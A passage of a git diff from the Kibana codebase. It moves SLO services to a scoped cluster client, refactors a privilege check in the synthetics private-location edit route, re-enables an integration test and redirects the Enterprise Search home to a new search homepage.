a/x-pack/solutions/observability/plugins/slo/server/routes/slo/find_slo.ts b/x-pack/solutions/observability/plugins/slo/server/routes/slo/find_slo.ts index ad07bf8dbbff2..80ea6ec8aa7fa 100644 --- a/x-pack/solutions/observability/plugins/slo/server/routes/slo/find_slo.ts +++ b/x-pack/solutions/observability/plugins/slo/server/routes/slo/find_slo.ts @@ -28,7 +28,7 @@ export const findSLORoute = createSloServerRoute({ }); const summarySearchClient = new DefaultSummarySearchClient( - scopedClusterClient.asCurrentUser, + scopedClusterClient, soClient, logger, spaceId diff --git a/x-pack/solutions/observability/plugins/slo/server/routes/slo/get_slo_stats_overview.ts b/x-pack/solutions/observability/plugins/slo/server/routes/slo/get_slo_stats_overview.ts index 99d22a22da9bf..68d1d673d26a9 100644 --- a/x-pack/solutions/observability/plugins/slo/server/routes/slo/get_slo_stats_overview.ts +++ b/x-pack/solutions/observability/plugins/slo/server/routes/slo/get_slo_stats_overview.ts @@ -29,7 +29,7 @@ export const getSLOStatsOverview = createSloServerRoute({ const slosOverview = new GetSLOStatsOverview( soClient, - scopedClusterClient.asCurrentUser, + scopedClusterClient, spaceId, logger, rulesClient, diff --git a/x-pack/solutions/observability/plugins/slo/server/services/find_slo_groups.ts b/x-pack/solutions/observability/plugins/slo/server/services/find_slo_groups.ts index e9f6b8533650e..298b254e24443 100644 --- a/x-pack/solutions/observability/plugins/slo/server/services/find_slo_groups.ts +++ b/x-pack/solutions/observability/plugins/slo/server/services/find_slo_groups.ts @@ -4,7 +4,7 @@ * 2.0; you may not use this file except in compliance with the Elastic License * 2.0. */ -import { ElasticsearchClient, Logger, SavedObjectsClientContract } from '@kbn/core/server'; +import { IScopedClusterClient, Logger, SavedObjectsClientContract } from '@kbn/core/server'; import { FindSLOGroupsParams, FindSLOGroupsResponse, @@ -38,7 +38,7 @@ function toPagination(params: FindSLOGroupsParams): Pagination { export class FindSLOGroups { constructor( - private esClient: ElasticsearchClient, + private scopedClusterClient: IScopedClusterClient, private soClient: SavedObjectsClientContract, private logger: Logger, private spaceId: string @@ -53,11 +53,11 @@ export class FindSLOGroups { const parsedFilters = parseStringFilters(filters, this.logger); const settings = await getSloSettings(this.soClient); - const { indices } = await getSummaryIndices(this.esClient, settings); + const { indices } = await getSummaryIndices(this.scopedClusterClient.asInternalUser, settings); const hasSelectedTags = groupBy === 'slo.tags' && groupsFilter.length > 0; - const response = await typedSearch(this.esClient, { + const response = await typedSearch(this.scopedClusterClient.asCurrentUser, { index: indices, size: 0, query: { diff --git a/x-pack/solutions/observability/plugins/slo/server/services/get_slo_stats_overview.ts b/x-pack/solutions/observability/plugins/slo/server/services/get_slo_stats_overview.ts index 9df83dbdef239..2c2a237d94353 100644 --- a/x-pack/solutions/observability/plugins/slo/server/services/get_slo_stats_overview.ts +++ b/x-pack/solutions/observability/plugins/slo/server/services/get_slo_stats_overview.ts @@ -6,7 +6,7 @@ */ import { RulesClientApi } from '@kbn/alerting-plugin/server/types'; -import { ElasticsearchClient } from '@kbn/core-elasticsearch-server'; +import { IScopedClusterClient } from '@kbn/core-elasticsearch-server'; import { SavedObjectsClientContract } from '@kbn/core-saved-objects-api-server'; import { Logger } from '@kbn/logging'; import { AlertConsumers, SLO_RULE_TYPE_IDS } from '@kbn/rule-data-utils'; @@ -20,7 +20,7 @@ import { getElasticsearchQueryOrThrow, parseStringFilters } from './transform_ge export class GetSLOStatsOverview { constructor( private soClient: SavedObjectsClientContract, - private esClient: ElasticsearchClient, + private scopedClusterClient: IScopedClusterClient, private spaceId: string, private logger: Logger, private rulesClient: RulesClientApi, @@ -29,13 +29,13 @@ export class GetSLOStatsOverview { public async execute(params: GetSLOStatsOverviewParams): Promise { const settings = await getSloSettings(this.soClient); - const { indices } = await getSummaryIndices(this.esClient, settings); + const { indices } = await getSummaryIndices(this.scopedClusterClient.asInternalUser, settings); const kqlQuery = params.kqlQuery ?? ''; const filters = params.filters ?? ''; const parsedFilters = parseStringFilters(filters, this.logger); - const response = await typedSearch(this.esClient, { + const response = await typedSearch(this.scopedClusterClient.asCurrentUser, { index: indices, size: 0, query: { diff --git a/x-pack/solutions/observability/plugins/slo/server/services/summary_search_client/summary_search_client.test.ts b/x-pack/solutions/observability/plugins/slo/server/services/summary_search_client/summary_search_client.test.ts index 1fbe8d7ba0d17..84e13ce233602 100644 --- a/x-pack/solutions/observability/plugins/slo/server/services/summary_search_client/summary_search_client.test.ts +++ b/x-pack/solutions/observability/plugins/slo/server/services/summary_search_client/summary_search_client.test.ts @@ -16,6 +16,7 @@ import { } from '../fixtures/summary_search_document'; import { DefaultSummarySearchClient } from './summary_search_client'; import type { Sort, SummarySearchClient } from './types'; +import { IScopedClusterClient } from '@kbn/core-elasticsearch-server'; const defaultSort: Sort = { field: 'sli_value', @@ -27,11 +28,13 @@ const defaultPagination: Pagination = { }; describe('Summary Search Client', () => { - let esClientMock: ElasticsearchClientMock; + let scopedClusterClient: IScopedClusterClient; let service: SummarySearchClient; + let esClientMock: ElasticsearchClientMock; beforeEach(() => { - esClientMock = elasticsearchServiceMock.createElasticsearchClient(); + scopedClusterClient = elasticsearchServiceMock.createScopedClusterClient(); + esClientMock = scopedClusterClient.asCurrentUser as ElasticsearchClientMock; const soClientMock = { getCurrentNamespace: jest.fn().mockReturnValue('default'), get: jest.fn().mockResolvedValue({ @@ -42,7 +45,7 @@ describe('Summary Search Client', () => { }), } as any; service = new DefaultSummarySearchClient( - esClientMock, + scopedClusterClient, soClientMock, loggerMock.create(), 'default' diff --git a/x-pack/solutions/observability/plugins/slo/server/services/summary_search_client/summary_search_client.ts b/x-pack/solutions/observability/plugins/slo/server/services/summary_search_client/summary_search_client.ts index 64472b31babb8..a46006f6b359e 100644 --- a/x-pack/solutions/observability/plugins/slo/server/services/summary_search_client/summary_search_client.ts +++ b/x-pack/solutions/observability/plugins/slo/server/services/summary_search_client/summary_search_client.ts @@ -6,7 +6,7 @@ */ import type { estypes } from '@elastic/elasticsearch'; -import { ElasticsearchClient, Logger, SavedObjectsClientContract } from '@kbn/core/server'; +import { IScopedClusterClient, Logger, SavedObjectsClientContract } from '@kbn/core/server'; import { isCCSRemoteIndexName } from '@kbn/es-query'; import { ALL_VALUE } from '@kbn/slo-schema'; import { assertNever } from '@kbn/std'; @@ -32,7 +32,7 @@ import { isCursorPagination } from './types'; export class DefaultSummarySearchClient implements SummarySearchClient { constructor( - private esClient: ElasticsearchClient, + private scopedClusterClient: IScopedClusterClient, private soClient: SavedObjectsClientContract, private logger: Logger, private spaceId: string @@ -47,7 +47,7 @@ export class DefaultSummarySearchClient implements SummarySearchClient { ): Promise> { const parsedFilters = parseStringFilters(filters, this.logger); const settings = await getSloSettings(this.soClient); - const { indices } = await getSummaryIndices(this.esClient, settings); + const { indices } = await getSummaryIndices(this.scopedClusterClient.asInternalUser, settings); const esParams = createEsParams({ index: indices, @@ -83,7 +83,7 @@ export class DefaultSummarySearchClient implements SummarySearchClient { try { const summarySearch = await typedSearch( - this.esClient, + this.scopedClusterClient.asCurrentUser, esParams ); @@ -173,7 +173,7 @@ export class DefaultSummarySearchClient implements SummarySearchClient { // Always attempt to delete temporary summary documents with an existing non-temp summary document // The temp summary documents are _eventually_ removed as we get through the real summary documents - await this.esClient.deleteByQuery({ + await this.scopedClusterClient.asCurrentUser.deleteByQuery({ index: SUMMARY_DESTINATION_INDEX_PATTERN, wait_for_completion: false, conflicts: 'proceed', diff --git a/x-pack/solutions/observability/plugins/synthetics/public/apps/synthetics/components/alerts/status_rule_expression.tsx b/x-pack/solutions/observability/plugins/synthetics/public/apps/synthetics/components/alerts/status_rule_expression.tsx index cb8f62b90939e..1b1ce66bb1e60 100644 --- a/x-pack/solutions/observability/plugins/synthetics/public/apps/synthetics/components/alerts/status_rule_expression.tsx +++ b/x-pack/solutions/observability/plugins/synthetics/public/apps/synthetics/components/alerts/status_rule_expression.tsx @@ -27,16 +27,9 @@ import { LocationsValueExpression } from './common/condition_locations_value'; interface Props { ruleParams: StatusRuleParamsProps['ruleParams']; setRuleParams: StatusRuleParamsProps['setRuleParams']; - // This is needed for the intermediate release process -> https://docs.google.com/document/d/1mU5jlIfCKyXdDPtEzAz1xTpFXFCWxqdO5ldYRVO_hgM/edit?tab=t.0#heading=h.2b1v1tr0ep8m - // After the next serverless release the commit containing these changes can be reverted - showAlertOnNoDataSwitch?: boolean; } -export const StatusRuleExpression: React.FC = ({ - ruleParams, - setRuleParams, - showAlertOnNoDataSwitch = false, -}) => { +export const StatusRuleExpression: React.FC = ({ ruleParams, setRuleParams }) => { const condition = ruleParams.condition ?? DEFAULT_CONDITION; const downThreshold = condition?.downThreshold ?? DEFAULT_CONDITION.downThreshold; @@ -155,19 +148,15 @@ export const StatusRuleExpression: React.FC = ({ onChange={onGroupByChange} locationsThreshold={locationsThreshold} /> - {showAlertOnNoDataSwitch ? ( - <> - - - onAlertOnNoDataChange(e.target.checked)} - /> - - - ) : null} + + + onAlertOnNoDataChange(e.target.checked)} + /> + diff --git a/x-pack/solutions/observability/plugins/synthetics/server/routes/settings/private_locations/edit_private_location.ts b/x-pack/solutions/observability/plugins/synthetics/server/routes/settings/private_locations/edit_private_location.ts index 3ae484b33cbf7..594172420aadb 100644 --- a/x-pack/solutions/observability/plugins/synthetics/server/routes/settings/private_locations/edit_private_location.ts +++ b/x-pack/solutions/observability/plugins/synthetics/server/routes/settings/private_locations/edit_private_location.ts @@ -14,7 +14,7 @@ import { getPrivateLocations } from '../../../synthetics_service/get_private_loc import { PrivateLocationAttributes } from '../../../runtime_types/private_locations'; import { PrivateLocationRepository } from '../../../repositories/private_location_repository'; import { PRIVATE_LOCATION_WRITE_API } from '../../../feature'; -import { SyntheticsRestApiRouteFactory } from '../../types'; +import { RouteContext, SyntheticsRestApiRouteFactory } from '../../types'; import { SYNTHETICS_API_URLS } from '../../../../common/constants'; import { toClientContract, updatePrivateLocationMonitors } from './helpers'; import { PrivateLocation } from '../../../../common/runtime_types'; @@ -62,6 +62,35 @@ const isPrivateLocationChanged = ({ return isLabelChanged || areTagsChanged; }; +const checkPrivileges = async ({ + routeContext, + monitorsSpaces, +}: { + routeContext: RouteContext; + monitorsSpaces: string[]; +}) => { + const { request, response, server } = routeContext; + + const checkSavedObjectsPrivileges = + server.security.authz.checkSavedObjectsPrivilegesWithRequest(request); + + const { hasAllRequested } = await checkSavedObjectsPrivileges( + 'saved_object:synthetics-monitor/bulk_update', + monitorsSpaces + ); + + if (!hasAllRequested) { + return response.forbidden({ + body: { + message: i18n.translate('xpack.synthetics.editPrivateLocation.forbidden', { + defaultMessage: + 'You do not have sufficient permissions to update monitors in all required spaces. This private location is used by monitors in spaces where you lack update privileges.', + }), + }, + }); + } +}; + export const editPrivateLocationRoute: SyntheticsRestApiRouteFactory< PrivateLocation, TypeOf, @@ -79,7 +108,7 @@ export const editPrivateLocationRoute: SyntheticsRestApiRouteFactory< }, requiredPrivileges: [PRIVATE_LOCATION_WRITE_API], handler: async (routeContext) => { - const { response, request, savedObjectsClient, server } = routeContext; + const { response, request, savedObjectsClient } = routeContext; const { locationId } = request.params; const { label: newLocationLabel, tags: newTags } = request.body; @@ -103,27 +132,14 @@ export const editPrivateLocationRoute: SyntheticsRestApiRouteFactory< isPrivateLocationChanged({ privateLocation: existingLocation, newParams: request.body }) ) { // This privileges check is done only when changing the label, because changing the label will update also the monitors in that location - if (isPrivateLocationLabelChanged(existingLocation.attributes.label, newLocationLabel)) { - const monitorsSpaces = monitorsInLocation.map(({ namespaces }) => namespaces![0]); - - const checkSavedObjectsPrivileges = - server.security.authz.checkSavedObjectsPrivilegesWithRequest(request); - - const { hasAllRequested } = await checkSavedObjectsPrivileges( - 'saved_object:synthetics-monitor/bulk_update', - monitorsSpaces - ); - - if (!hasAllRequested) { - return response.forbidden({ - body: { - message: i18n.translate('xpack.synthetics.editPrivateLocation.forbidden', { - defaultMessage: - 'You do not have sufficient permissions to update monitors in all required spaces. This private location is used by monitors in spaces where you lack update privileges.', - }), - }, - }); - } + if ( + isPrivateLocationLabelChanged(existingLocation.attributes.label, newLocationLabel) && + monitorsInLocation.length + ) { + await checkPrivileges({ + routeContext, + monitorsSpaces: monitorsInLocation.map(({ namespaces }) => namespaces![0]), + }); } newLocation = await repo.editPrivateLocation(locationId, { diff --git a/x-pack/solutions/observability/test/api_integration/apis/synthetics/sample_data/test_policy.ts b/x-pack/solutions/observability/test/api_integration/apis/synthetics/sample_data/test_policy.ts index ae0e92612ee91..43a5ad9052ee5 100644 --- a/x-pack/solutions/observability/test/api_integration/apis/synthetics/sample_data/test_policy.ts +++ b/x-pack/solutions/observability/test/api_integration/apis/synthetics/sample_data/test_policy.ts @@ -31,6 +31,7 @@ export const getTestSyntheticsPolicy = (props: PolicyProps): PackagePolicy => { version: 'WzE2MjYsMV0=', name: 'test-monitor-name-Test private location 0-default', namespace: namespace ?? 'testnamespace', + spaceIds: ['default'], package: { name: 'synthetics', title: 'Elastic Synthetics', version: INSTALLED_VERSION }, enabled: true, policy_id: '5347cd10-0368-11ed-8df7-a7424c6f5167', diff --git a/x-pack/solutions/observability/test/api_integration/apis/synthetics/sync_global_params.ts b/x-pack/solutions/observability/test/api_integration/apis/synthetics/sync_global_params.ts index 72a0cc79666c0..88f6dad978ce1 100644 --- a/x-pack/solutions/observability/test/api_integration/apis/synthetics/sync_global_params.ts +++ b/x-pack/solutions/observability/test/api_integration/apis/synthetics/sync_global_params.ts @@ -33,9 +33,7 @@ export const LOCAL_LOCATION = { }; export default function ({ getService }: FtrProviderContext) { - // FLAKY: https://github.com/elastic/kibana/issues/221290 - // Failing: See https://github.com/elastic/kibana/issues/221290 - describe.skip('SyncGlobalParams', function () { + describe('SyncGlobalParams', function () { this.tags('skipCloud'); const supertestAPI = getService('supertest'); const kServer = getService('kibanaServer'); @@ -138,6 +136,7 @@ export default function ({ getService }: FtrProviderContext) { [ConfigKey.MONITOR_QUERY_ID]: apiResponse.body.id, [ConfigKey.CONFIG_ID]: apiResponse.body.id, locations: [LOCAL_LOCATION, pvtLoc], + spaces: ['default'], }) ); newMonitorId = apiResponse.rawBody.id; @@ -174,6 +173,13 @@ export default function ({ getService }: FtrProviderContext) { .set('kbn-xsrf', 'true') .send({ key: 'test', value: 'http://proxy.com' }); + /* + * Creating a global parameter kicks off an asynchronous background task. + * We pause for 5 seconds to let that task finish before creating monitors that reference the param; + * if it’s still running when the monitor is added, Kibana would not schedule a second sync task. + */ + await new Promise((resolve) => setTimeout(resolve, 5000)); + expect(apiResponse.status).eql(200); }); @@ -237,6 +243,7 @@ export default function ({ getService }: FtrProviderContext) { [ConfigKey.MONITOR_QUERY_ID]: apiResponse.body.id, [ConfigKey.CONFIG_ID]: apiResponse.body.id, locations: [LOCAL_LOCATION, pvtLoc], + spaces: ['default'], }) ); newHttpMonitorId = apiResponse.rawBody.id; diff --git a/x-pack/solutions/observability/test/apm_api_integration/tests/settings/anomaly_detection/write_user.spec.ts b/x-pack/solutions/observability/test/apm_api_integration/tests/settings/anomaly_detection/write_user.spec.ts index 40e62b1ddc969..8a5f9125dda2c 100644 --- a/x-pack/solutions/observability/test/apm_api_integration/tests/settings/anomaly_detection/write_user.spec.ts +++ b/x-pack/solutions/observability/test/apm_api_integration/tests/settings/anomaly_detection/write_user.spec.ts @@ -58,6 +58,12 @@ export default function apiTest({ getService }: FtrProviderContext) { }); describe('when calling create endpoint', () => { + beforeEach(async () => { + const res = await getJobs({ user }); + const jobIds = res.body.jobs.map((job: any) => job.jobId); + await deleteJobs(jobIds); + }); + it('creates two jobs', async () => { await createJobs(['production', 'staging'], { user }); @@ -69,19 +75,22 @@ export default function apiTest({ getService }: FtrProviderContext) { }); }); - describe('with existing ML jobs', () => { - before(async () => { - await createJobs(['production', 'staging'], { user }); - }); - it('skips duplicate job creation', async () => { - await createJobs(['production', 'test'], { user }); + it('creates job with long environment name', async () => { + const longEnvironmentName = + 'Production: This Is A Deliberately Long Environment Name To Test Limits - 1234567890'; + const { status } = await createJobs([longEnvironmentName], { user }); + expect(status).to.be(200); + }); + + it('skips duplicate job creation', async () => { + await createJobs(['production', 'staging'], { user }); + await createJobs(['production', 'test'], { user }); - const { body } = await getJobs({ user }); - expect(countBy(body.jobs, 'environment')).to.eql({ - production: 1, - staging: 1, - test: 1, - }); + const { body } = await getJobs({ user }); + expect(countBy(body.jobs, 'environment')).to.eql({ + production: 1, + staging: 1, + test: 1, }); }); }); diff --git a/x-pack/solutions/search/packages/kbn-search-api-keys-components/index.ts b/x-pack/solutions/search/packages/kbn-search-api-keys-components/index.ts index 0e557c2455309..4f3aaa50d8d8b 100644 --- a/x-pack/solutions/search/packages/kbn-search-api-keys-components/index.ts +++ b/x-pack/solutions/search/packages/kbn-search-api-keys-components/index.ts @@ -8,3 +8,4 @@ export * from './src/components/api_key_flyout_wrapper'; export * from './src/components/api_key_form'; export * from './src/hooks/use_search_api_key'; +export * from './src/constants'; diff --git a/x-pack/solutions/search/packages/shared-ui/src/constants.ts b/x-pack/solutions/search/packages/shared-ui/src/constants.ts index 6c5be66281465..85b9d83845d6e 100644 --- a/x-pack/solutions/search/packages/shared-ui/src/constants.ts +++ b/x-pack/solutions/search/packages/shared-ui/src/constants.ts @@ -6,3 +6,4 @@ */ export const WORKFLOW_LOCALSTORAGE_KEY = 'search_onboarding_workflow'; +export const GLOBAL_EMPTY_STATE_SKIP_KEY = 'search_onboarding_global_empty_state_skip'; diff --git a/x-pack/solutions/search/plugins/enterprise_search/common/constants.ts b/x-pack/solutions/search/plugins/enterprise_search/common/constants.ts index be9a85312abf6..0a280d1617d61 100644 --- a/x-pack/solutions/search/plugins/enterprise_search/common/constants.ts +++ b/x-pack/solutions/search/plugins/enterprise_search/common/constants.ts @@ -14,6 +14,7 @@ import { ENTERPRISE_SEARCH_ANALYTICS_APP_ID, SEARCH_ELASTICSEARCH, SEARCH_VECTOR_SEARCH, + SEARCH_HOMEPAGE, SEARCH_SEMANTIC_SEARCH, SEARCH_AI_SEARCH, SEARCH_INDICES, @@ -33,7 +34,7 @@ export const ENTERPRISE_SEARCH_PRODUCT_NAME = i18n.translate('xpack.enterpriseSe defaultMessage: 'Enterprise Search', }); -export { SEARCH_INDICES_START, SEARCH_INDICES, SEARCH_INDEX_MANAGEMENT }; +export { SEARCH_INDICES_START, SEARCH_INDICES, SEARCH_INDEX_MANAGEMENT, SEARCH_HOMEPAGE }; export const ENTERPRISE_SEARCH_HOME_PLUGIN = { ID: ENTERPRISE_SEARCH_APP_ID, @@ -204,6 +205,7 @@ export const ENTERPRISE_SEARCH_ELASTICSEARCH_URL = '/app/elasticsearch/elasticse export const WORKPLACE_SEARCH_URL = '/app/enterprise_search/workplace_search'; export const CREATE_NEW_INDEX_URL = '/search_indices/new_index'; export const PLAYGROUND_URL = '/playground'; +export const SEARCH_HOMEPAGE_URL = '/app/elasticsearch/home'; export const MANAGE_API_KEYS_URL = '/app/management/security/api_keys'; diff --git a/x-pack/solutions/search/plugins/enterprise_search/kibana.jsonc b/x-pack/solutions/search/plugins/enterprise_search/kibana.jsonc index 1e2dfdf7043b4..9802cd2545d20 100644 --- a/x-pack/solutions/search/plugins/enterprise_search/kibana.jsonc +++ b/x-pack/solutions/search/plugins/enterprise_search/kibana.jsonc @@ -21,6 +21,7 @@ "logsDataAccess", "esUiShared", "navigation", + "searchHomepage", "searchNavigation", "uiActions" ], diff --git a/x-pack/solutions/search/plugins/enterprise_search/public/applications/shared/kibana_chrome/breadcrumbs_home.ts b/x-pack/solutions/search/plugins/enterprise_search/public/applications/shared/kibana_chrome/breadcrumbs_home.ts deleted file mode 100644 index d28c0c7839977..0000000000000 --- a/x-pack/solutions/search/plugins/enterprise_search/public/applications/shared/kibana_chrome/breadcrumbs_home.ts +++ /dev/null @@ -1,18 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { ENTERPRISE_SEARCH_HOME_PLUGIN } from '../../../../common/constants'; - -/** - * HACK for base homepage URL, this can be removed and updated to a static - * URL when Search Homepage is no longer feature flagged. - */ -const breadCrumbHome = { url: ENTERPRISE_SEARCH_HOME_PLUGIN.URL }; -export const getHomeURL = () => breadCrumbHome.url; -export const setBreadcrumbHomeUrl = (url: string) => { - breadCrumbHome.url = url; -}; diff --git a/x-pack/solutions/search/plugins/enterprise_search/public/applications/shared/kibana_chrome/generate_breadcrumbs.test.ts b/x-pack/solutions/search/plugins/enterprise_search/public/applications/shared/kibana_chrome/generate_breadcrumbs.test.ts index c6d86dc385b23..b076335447043 100644 --- a/x-pack/solutions/search/plugins/enterprise_search/public/applications/shared/kibana_chrome/generate_breadcrumbs.test.ts +++ b/x-pack/solutions/search/plugins/enterprise_search/public/applications/shared/kibana_chrome/generate_breadcrumbs.test.ts @@ -161,7 +161,7 @@ describe('useSearchBreadcrumbs', () => { expect(useSearchBreadcrumbs(breadcrumbs)).toEqual([ { text: 'Elasticsearch', - href: '/app/elasticsearch/overview', + href: '/app/elasticsearch/home', onClick: expect.any(Function), }, { @@ -204,7 +204,7 @@ describe('useEnterpriseSearchBreadcrumbs', () => { expect(useEnterpriseSearchBreadcrumbs(breadcrumbs)).toEqual([ { text: 'Enterprise Search', - href: '/app/elasticsearch/overview', + href: '/app/elasticsearch/home', onClick: expect.any(Function), }, { diff --git a/x-pack/solutions/search/plugins/enterprise_search/public/applications/shared/kibana_chrome/generate_breadcrumbs.ts b/x-pack/solutions/search/plugins/enterprise_search/public/applications/shared/kibana_chrome/generate_breadcrumbs.ts index 0f47f9a13f771..39227b72f82b4 100644 --- a/x-pack/solutions/search/plugins/enterprise_search/public/applications/shared/kibana_chrome/generate_breadcrumbs.ts +++ b/x-pack/solutions/search/plugins/enterprise_search/public/applications/shared/kibana_chrome/generate_breadcrumbs.ts @@ -19,6 +19,7 @@ import { SEARCH_PRODUCT_NAME, VECTOR_SEARCH_PLUGIN, SEMANTIC_SEARCH_PLUGIN, + SEARCH_HOMEPAGE_URL, APPLICATIONS_PLUGIN, GETTING_STARTED_TITLE, } from '../../../../common/constants'; @@ -28,8 +29,6 @@ import { HttpLogic } from '../http'; import { KibanaLogic } from '../kibana'; import { letBrowserHandleEvent, createHref } from '../react_router_helpers'; -import { getHomeURL } from './breadcrumbs_home'; - /** * Types */ @@ -108,7 +107,7 @@ export const useSearchBreadcrumbs = (breadcrumbs: Breadcrumbs = []) => useEuiBreadcrumbs([ { text: SEARCH_PRODUCT_NAME, - path: getHomeURL(), + path: SEARCH_HOMEPAGE_URL, shouldNotCreateHref: true, }, ...breadcrumbs, @@ -118,7 +117,7 @@ export const useEnterpriseSearchBreadcrumbs = (breadcrumbs: Breadcrumbs = []) => useEuiBreadcrumbs([ { text: ENTERPRISE_SEARCH_PRODUCT_NAME, - path: getHomeURL(), + path: SEARCH_HOMEPAGE_URL, shouldNotCreateHref: true, }, ...breadcrumbs, diff --git a/x-pack/solutions/search/plugins/enterprise_search/public/applications/shared/layout/classic_nav_helpers.test.ts b/x-pack/solutions/search/plugins/enterprise_search/public/applications/shared/layout/classic_nav_helpers.test.ts index 937dccfb90df1..41f204fdc3dba 100644 --- a/x-pack/solutions/search/plugins/enterprise_search/public/applications/shared/layout/classic_nav_helpers.test.ts +++ b/x-pack/solutions/search/plugins/enterprise_search/public/applications/shared/layout/classic_nav_helpers.test.ts @@ -21,8 +21,8 @@ import { generateSideNavItems } from './classic_nav_helpers'; describe('generateSideNavItems', () => { const deepLinksMap = { enterpriseSearch: { - id: 'enterpriseSearch', - url: '/app/elasticsearch/overview', + id: 'searchHomepage', + url: '/app/elasticsearch/home', title: 'Home', }, 'enterpriseSearchContent:searchIndices': { @@ -58,7 +58,7 @@ describe('generateSideNavItems', () => { expect(generateSideNavItems(classicNavItems, deepLinksMap)).toEqual([ { - href: '/app/elasticsearch/overview', + href: '/app/elasticsearch/home', id: 'unit-test', isSelected: false, name: 'Home', @@ -88,7 +88,7 @@ describe('generateSideNavItems', () => { id: 'parent', items: [ { - href: '/app/elasticsearch/overview', + href: '/app/elasticsearch/home', id: 'unit-test', isSelected: false, name: 'Home', @@ -113,7 +113,7 @@ describe('generateSideNavItems', () => { expect(generateSideNavItems(classicNavItems, deepLinksMap)).toEqual([ { - href: '/app/elasticsearch/overview', + href: '/app/elasticsearch/home', id: 'unit-test', isSelected: false, name: 'Home', @@ -141,7 +141,7 @@ describe('generateSideNavItems', () => { expect(generateSideNavItems(classicNavItems, deepLinksMap)).toEqual([ { - href: '/app/elasticsearch/overview', + href: '/app/elasticsearch/home', id: 'unit-test', isSelected: false, name: 'Home', diff --git a/x-pack/solutions/search/plugins/enterprise_search/public/applications/shared/layout/nav.test.tsx b/x-pack/solutions/search/plugins/enterprise_search/public/applications/shared/layout/nav.test.tsx index 13985fa012f39..9de1e839f18c7 100644 --- a/x-pack/solutions/search/plugins/enterprise_search/public/applications/shared/layout/nav.test.tsx +++ b/x-pack/solutions/search/plugins/enterprise_search/public/applications/shared/layout/nav.test.tsx @@ -24,7 +24,7 @@ import { const baseNavItems = [ expect.objectContaining({ 'data-test-subj': 'searchSideNav-Home', - href: '/app/elasticsearch/overview', + href: '/app/elasticsearch/home', id: 'home', items: undefined, }), @@ -95,8 +95,8 @@ const baseNavItems = [ const mockNavLinks = [ { - id: 'enterpriseSearch', - url: '/app/elasticsearch/overview', + id: 'searchHomepage', + url: '/app/elasticsearch/home', }, { id: 'elasticsearchIndexManagement', diff --git a/x-pack/solutions/search/plugins/enterprise_search/public/navigation_tree.ts b/x-pack/solutions/search/plugins/enterprise_search/public/navigation_tree.ts index 6aa29f4163e2a..1285d60b8833b 100644 --- a/x-pack/solutions/search/plugins/enterprise_search/public/navigation_tree.ts +++ b/x-pack/solutions/search/plugins/enterprise_search/public/navigation_tree.ts @@ -13,6 +13,7 @@ import type { NodeDefinition, EuiSideNavItemTypeEnhanced, } from '@kbn/core-chrome-browser'; +import { SEARCH_HOMEPAGE } from '@kbn/deeplinks-search'; import { i18n } from '@kbn/i18n'; import type { AddSolutionNavigationArg } from '@kbn/navigation-plugin/public'; @@ -71,7 +72,7 @@ export const getNavigationTreeDefinition = ({ }): AddSolutionNavigationArg => { return { dataTestSubj: 'searchSideNav', - homePage: 'enterpriseSearch', + homePage: SEARCH_HOMEPAGE, icon, id: 'es', navigationTree$: dynamicItems$.pipe( @@ -89,7 +90,7 @@ export const getNavigationTreeDefinition = ({ pathNameSerialized.startsWith(prepend('/app/elasticsearch/start')) ); }, - link: 'enterpriseSearch', + link: SEARCH_HOMEPAGE, title: i18n.translate('xpack.enterpriseSearch.searchNav.home', { defaultMessage: 'Home', }), diff --git a/x-pack/solutions/search/plugins/enterprise_search/public/plugin.ts b/x-pack/solutions/search/plugins/enterprise_search/public/plugin.ts index 5689071990256..8b10e97278e12 100644 --- a/x-pack/solutions/search/plugins/enterprise_search/public/plugin.ts +++ b/x-pack/solutions/search/plugins/enterprise_search/public/plugin.ts @@ -51,6 +51,7 @@ import { SEARCH_PRODUCT_NAME, VECTOR_SEARCH_PLUGIN, SEMANTIC_SEARCH_PLUGIN, + SEARCH_HOMEPAGE, } from '../common/constants'; import { registerLocators } from '../common/locators'; import { ClientConfigType, InitialAppData } from '../common/types'; @@ -216,24 +217,14 @@ export class EnterpriseSearchPlugin implements Plugin { category: DEFAULT_APP_CATEGORIES.enterpriseSearch, euiIconType: ENTERPRISE_SEARCH_HOME_PLUGIN.LOGO, id: ENTERPRISE_SEARCH_HOME_PLUGIN.ID, - mount: async (params: AppMountParameters) => { - const kibanaDeps = await this.getKibanaDeps(core, params, cloud); - const { chrome, http } = kibanaDeps.core; - chrome.docTitle.change(ENTERPRISE_SEARCH_HOME_PLUGIN.NAME); - - await this.getInitialData(http); - const pluginData = this.getPluginData(); - - const { renderApp } = await import('./applications'); - const { EnterpriseSearchOverview } = await import( - './applications/enterprise_search_overview' - ); - - return renderApp(EnterpriseSearchOverview, kibanaDeps, pluginData); + mount: async () => { + const [coreStart] = await core.getStartServices(); + coreStart.application.navigateToApp(SEARCH_HOMEPAGE); + return () => {}; }, order: 0, title: ENTERPRISE_SEARCH_HOME_PLUGIN.NAV_TITLE, - visibleIn: ['home', 'kibanaOverview', 'globalSearch', 'sideNav'], + visibleIn: ['home', 'kibanaOverview'], }); core.application.register({ diff --git a/x-pack/solutions/search/plugins/enterprise_search/server/plugin.ts b/x-pack/solutions/search/plugins/enterprise_search/server/plugin.ts index 914b53adde72b..45aec32fc3738 100644 --- a/x-pack/solutions/search/plugins/enterprise_search/server/plugin.ts +++ b/x-pack/solutions/search/plugins/enterprise_search/server/plugin.ts @@ -32,6 +32,7 @@ import { APPLICATIONS_PLUGIN, SEARCH_PRODUCT_NAME, SEARCH_INDICES, + SEARCH_HOMEPAGE, SEARCH_INDICES_START, SEARCH_INDEX_MANAGEMENT, } from '../common/constants'; @@ -113,6 +114,7 @@ export class EnterpriseSearchPlugin implements Plugin { const currentBreakpoint = useCurrentEuiBreakpoint(); @@ -33,10 +34,9 @@ export const AlternateSolutions: React.FC = () => { - {/* TO DO: Enable the following once we have text content ready - */} + ); diff --git a/x-pack/solutions/search/plugins/search_homepage/public/components/alternate_solutions/observability.tsx b/x-pack/solutions/search/plugins/search_homepage/public/components/alternate_solutions/observability.tsx index e92dc052fe409..449f6937dcae3 100644 --- a/x-pack/solutions/search/plugins/search_homepage/public/components/alternate_solutions/observability.tsx +++ b/x-pack/solutions/search/plugins/search_homepage/public/components/alternate_solutions/observability.tsx @@ -24,6 +24,8 @@ export const Observability: React.FC = () => { const { euiTheme } = useEuiTheme(); const { http, cloud } = useKibana().services; + const isServerless: 